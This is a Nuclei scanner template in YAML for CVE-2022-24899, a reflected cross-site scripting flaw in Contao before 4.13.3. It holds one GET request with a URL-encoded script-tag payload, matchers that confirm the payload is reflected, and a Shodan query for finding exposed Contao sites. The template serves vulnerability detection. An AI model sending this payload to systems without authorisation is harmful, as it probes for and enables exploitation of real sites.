51 lines
1.7 KiB
YAML
51 lines
1.7 KiB
YAML
id: CVE-2022-24899
|
|
|
|
info:
|
|
name: Contao <4.13.3 - Cross-Site Scripting
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
Contao prior to 4.13.3 contains a cross-site scripting vulnerability. It is possible to inject arbitrary JavaScript code into the canonical tag.
|
|
remediation: As a workaround, users may disable canonical tags in the root page settings.
|
|
reference:
|
|
- https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
|
|
- https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-24899
|
|
- https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
|
|
- https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-24899
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00402
|
|
epss-percentile: 0.70698
|
|
cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: contao
|
|
product: contao
|
|
shodan-query: title:"Contao"
|
|
tags: cve,cve2022,contao,xss,huntr
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '"></script><script>alert(document.domain)</script>'
|
|
- '"Not authenticated"'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
# digest: 490a00463044022020035b5c73f2ebe728a232eba924c34dca5fd58870e451b92d4520df84900426022014fc6f862264b5f48e820142c867320e2b06da27b9d5191d7cdc7c621decf2f7:922c64590222798bb761d5b6d8e72950
|